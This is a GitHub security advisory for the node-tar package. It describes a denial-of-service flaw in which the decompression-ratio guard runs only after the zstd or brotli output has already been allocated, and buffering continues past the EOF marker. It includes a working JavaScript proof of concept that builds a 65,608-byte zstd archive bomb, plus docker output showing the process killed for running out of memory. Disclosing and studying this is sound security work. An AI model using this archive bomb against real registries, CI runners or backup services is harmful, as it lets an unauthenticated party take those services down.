Skip to main content
Menu
Advisories

Denial of service via unbounded memory allocation bypassing maxDecompressionRatio

GHSA-9239-V992-P74FPublished Updated GitHub

Description

The maxDecompressionRatio guard tar added for GHSA-23hp-3jrh-7fpw is evaluated after node zlib has already materialized the inflated output, so it observes an allocation rather than bounding one. A remote, unauthenticated party who can hand tar.t()/tar.x() an archive can deny service with 65,608 bytes, at stock settings.

Details

The check runs from the decompressor's 'data' event, which fires once per call to node zlib's synchronous _processChunk — by then that input chunk's entire inflated output is resident:

// src/parse.ts:550-555
this[UNZIP].on('data', chunk => {
  if (this[CHECKDECOMPRESSIONRATIO](chunk)) {
    this[CONSUMECHUNK](chunk)
  }
})

Compressed bytes are credited per write(), so the guard's resolution is the caller's write size, not the codec's output: a single large write front-loads the whole inputSize × 1000 budget before the ratio is evaluated even once, and tar's own file-reading helpers write up to 16 MB at a time. The decompressors are built with no maxOutputLength, so nothing else caps that chunk.

The single ratio constant of 1000 was calibrated to DEFLATE's ~1032:1 ceiling. zstd reaches ~32,700:1 and brotli ~1,230,000:1, so on those codecs the expansion completes inside one chunk whatever the write size. zstd requires no caller opt-in — it is auto-sniffed by 4-byte magic whenever this.zstd !== false, the default.

A third path needs no decompression. Both parse loops stop at the tar EOF marker; the buffering does not:

// src/parse.ts:599-603, 670
while (this[BUFFER] && this[BUFFER].length && !this[SAW_EOF]) { … }
…
[BUFFERCONCAT](c: Buffer) {
  if (c && !this[ABORTED]) {
    this[BUFFER] = this[BUFFER] ? Buffer.concat([this[BUFFER], c]) : c
  }
}

Once SAW_EOF is set, position never advances, so every subsequent write() appends its chunk with nothing draining it — and write()'s return value never reflects SAW_EOF, so a piping producer gets no signal to slow down.

PoC

// poc.js — from a clean `npm i tar@7.5.22`, driven only through tar's public API.
// Builds a 65,608-byte zstd archive that expands to 2 GiB, then feeds it to tar.t()
// at DEFAULT options in 64 KiB writes: no zstd opt-in (it is auto-detected by magic
// bytes) and no ratio override. The attacker controls only the archive bytes.
const fs = require('fs');
const z = require('zlib');
const tar = require('tar');

function buildHeader({ size, name = 'payload' }) {
  const h = Buffer.alloc(512);
  h.write(name); h.write('0000644\0', 100); h.write('0000000\0', 108); h.write('0000000\0', 116);
  h.write(size.toString(8).padStart(11, '0') + '\0', 124);
  h.write('00000000000\0', 136); h.write('        ', 148); h.write('0', 156); h.write('ustar  \0', 257);
  let s = 0; for (let i = 0; i < 512; i++) s += h[i];
  h.write(s.toString(8).padStart(6, '0') + '\0 ', 148);
  return h;
}

const size = 2 * 1024 * 1024 * 1024;                 // declared entry size: 2 GiB
const h = buildHeader({ size });
const zc = z.createZstdCompress(), out = fs.createWriteStream('bomb.tar.zst');
zc.pipe(out); zc.write(h);
const CH = Buffer.alloc(1 << 20); let w = 0;
(function loop() {
  while (w < size) { w += CH.length; if (!zc.write(CH)) { zc.once('drain', loop); return; } }
  zc.write(Buffer.alloc(1024)); zc.end();
  out.on('finish', run);
})();

function run() {
  console.log('archive built:', fs.statSync('bomb.tar.zst').size, 'bytes; parsing...');
  const p = tar.t({ onentry: () => {} });            // stock options
  const b = fs.readFileSync('bomb.tar.zst');
  for (let i = 0; i < b.length; i += 65536) p.write(b.subarray(i, i + 65536));
  p.end();
}
## The node process prints one line and then dies mid-parse; the exit status and the
## OOM flag below come from the container runtime, not from the script.

$ npm i tar@7.5.22
$ docker run --name tar-poc --network none --memory 512m --memory-swap 512m -v "$PWD:/w" -w /w node:22 node poc.js
archive built: 65608 bytes; parsing...
$ echo "exit=$?"
exit=137
$ docker inspect tar-poc --format '{{.State.OOMKilled}}'
true

## The archive is written before parsing starts, so it survives the kill:
$ ls -l bomb.tar.zst
-rw-r--r--  65608  bomb.tar.zst        # 65,608 bytes in, 2 GiB declared - ratio ~32,736:1

## No "max decompression ratio exceeded" error precedes the kill, though that ratio is
## ~32,736:1 against the default 1000:1 limit. 64 KiB input writes do not help: one zstd
## frame expands past the cap inside a single synchronous _processChunk.

Impact

A remote, unauthenticated attacker who can get any service to run tar.t()/tar.x() on a supplied archive — registries, CI runners, artifact and backup services — denies service with a 65,608-byte zstd archive at default settings. The attacker sizes the allocation — the entry header declares it — so under a memory limit it is an immediate OOM kill, and without one, host-wide memory pressure.

Affected versions

References

GitHub · isaacs/node-tar